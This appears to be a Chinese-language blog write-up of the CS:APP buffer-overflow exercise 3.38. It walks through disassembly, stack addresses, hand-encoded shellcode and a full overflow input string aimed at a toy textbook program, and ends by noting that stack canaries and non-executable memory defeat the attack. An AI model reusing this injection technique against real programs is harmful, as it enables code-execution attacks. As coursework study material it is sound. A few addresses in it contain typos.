缓冲区溢出攻击练习
《深入理解计算机系统》练习3.38,要求对提供的一个程序进行缓冲区溢出攻击。这里给出自己解题过程。这个程序在不做修改的情况下,在windows平台是无法编译的。所以以下练习基于Ubuntu 11.04 + GCC 4.5.2
要求是:让这个一直输出1的程序输出-559038737(deadbeef)。
目标就是要溢出getbuf这个函数,就把把getbuf这个函数内的执行权拿到,但在运行完我们指定的代码之后,我们还是要让这个函数返回到他本来就应该返回的地方的。查看test的汇编代码。
08048597 <test>:
8048597: 55 push %ebp
8048598: 89 e5 mov %esp,%ebp
804859a: 83 ec 28 sub $0x28,%esp
804859d: b8 e0 86 04 08 mov $0x80486e0,%eax
80485a2: 89 04 24 mov %eax,(%esp)
80485a5: e8 12 fe ff ff call 80483bc <printf@plt>
80485aa: e8 b4 ff ff ff call 8048563 <getbuf>
80485af: 89 45 f4 mov %eax,-0xc(%ebp)
80485b2: b8 f1 86 04 08 mov $0x80486f1,%eax
80485b7: 8b 55 f4 mov -0xc(%ebp),%edx
80485ba: 89 54 24 04 mov %edx,0x4(%esp)
80485be: 89 04 24 mov %eax,(%esp)
80485c1: e8 f6 fd ff ff call 80483bc <printf@plt>
80485c6: c9 leave
80485c7: c3 ret
黄色高亮的就是getbuf返回时,本应该返回到的地址。当然,也可以返回到其它的地方去。
我们来验证一下,运行程序,并在getbuf这个函数上加断点,%ebp的值是0xbfffefa8,我们在这个内存的前面,即0xbfffefac这里,可以看到getbuf的返回地址是080485AF。它前面保存的栈底也要记下来,是0xbfffefd8。这两个是在我们构建返回点时要用到的。
再来看getbuf这个函数。
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
申请了12字节的内存,所以输入的前12字节随便是什么都可以。但是这并不意味着13字符开始就覆盖到了不应该覆盖到的内存。还要覆盖到getxs函数的返回地址。覆盖的这个地址才是要计算的。我们来看反汇编出来的代码。
08048563 <getbuf>:
8048563: 55 push %ebp
8048564: 89 e5 mov %esp,%ebp
8048566: 83 ec 28 sub $0x28,%esp
8048569: 65 a1 14 00 00 00 mov %gs:0x14,%eax
804856f: 89 45 f4 mov %eax,-0xc(%ebp)
8048572: 31 c0 xor %eax,%eax
8048574: 8d 45 e8 lea -0x18(%ebp),%eax
8048577: 89 04 24 mov %eax,(%esp)
804857a: e8 15 ff ff ff call 8048494 <getxs>
804857f: b8 01 00 00 00 mov $0x1,%eax
8048584: 8b 55 f4 mov -0xc(%ebp),%edx
8048587: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
804858e: 74 05 je 8048595 <getbuf+0x32>
8048590: e8 37 fe ff ff call 80483cc <__stack_chk_fail@plt>
8048595: c9 leave
8048596: c3 ret
现在%ebp的值是0xbfffefa8,而在call getxs前,lea -0x18(%ebp),%eax,这里分配的起始地址是0xbffef90,这个就是buf的地址。这个地址在当前%esp之前,所以getxt溢出这个buf,并不能改定到getxt本身的返回地址。而只能改写getbuf的返回地址。这个地址的位址,在前面说了,是在0xbfffefac这个地方,所以我们要改写到这个区域的数据。所以,我们要改的内存区域是从0xbfffef90~0xbfffefaf这32个字节的内存。当然你写可以改定后面所有的内存,这样你就可以想干什么就干什么了,但是我们现在是要完成这个题目。所以后面要做的还是要做的。
所以我们希望可以让程序返回到0xbfffef90这个地方执行我们自己的代码。要执行的代码也很简单,就一行
movl $0xdeadbeef, %eax
这个代码在上面的示例中已经有类似代码了。所以可以知道这个代码的二进制表示是:
b8 ef be ad de
我的环境是Ubuntu,所以用的是小端法。然后就可以返回了。返回的代码上面也有。就是
c9 c3
这个返回的地址,应该就是getbuf原来的返回地址:0x080485AF了。但是leave和call都会造成%esp的变化,一个想法就是,我们可以不leave,直接return。这样我们就要当前(调用getbuf时)%ebp所指向就是正确的返回地址。但是这时%ebp所指向的地址0xbfffefd8已经很远了。这有太多东西要输入了。
所以换个思路,不ret了,直接jmp! 直接Jmp的话,我们直接跳到为print准备参数那行(0x080485be)就好了。嘿嘿。代码就是。
所以前面的11个字节就是
b8 ef be ad de ff 25 be 85 04 08
中间 32 - 11 - 8 = 13个字节随意。
b8 ef be ad de ff 25 be 85 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf 90 ef ff bf
好了,我们试一下,结果发现失败了。单步一下,发现是__stack_chk_fail。现在的编译器啊。唉,就给我们找事儿。我临时手工改了下%eip的值跳过了这一步,继续。
结果在运行到 RET语句的时候,得到的又是一个错误框
对于这个SIGSEGV,解释是:
SIGSEGV --- Segment Fault. The possible cases of your encountering this error are:
1.buffer overflow --- usually caused by a pointer reference out of range.
2.stack overflow --- please keep in mind that the default stack size is 8192K.
3.illegal file access --- file operations are forbidden on our judge system.
想了一下,这个时候,%esp的值是0xbfffefac,而我们要跳转到0xbfffef90。这个地址是在栈顶之外。可能就是stack overflow的原因?
那再试下把要运行的代码向后放。前11个也随意。
结果还是一样的Error看来不是这个问题。于是我怒了,直接把%eip的值改成了0xbeffefb0以绕过ret。然后运行还是同样的错误。这个时候,我就开始怀疑这不是攻击代码的问题了,而是操作系统本身不允许在数据页上运行代码。此一时,彼一时啊。那个时候的OS比较温顺?
然后Google了一下,发现也有人遇到了同样的问题。还看到一个很恶心的做法。就是直接把getbuff函数return到print函数上。其实这样做对于攻击而且没有太大的意义。因为这样只能调用程序中已经有的代码,只是给它编一个参数而已。并没有运行自己编写的代码。
看来还是只能绕过安全机制才行。不过今天已经晚了,明天有空再来研究如果能绕过这个安全机制吧。
更新:
今天找到了最后出异常的解释。结论就是这种弱智的Buff Overflow攻击在现代操作系统中,已经不能做为有效的攻击手段了。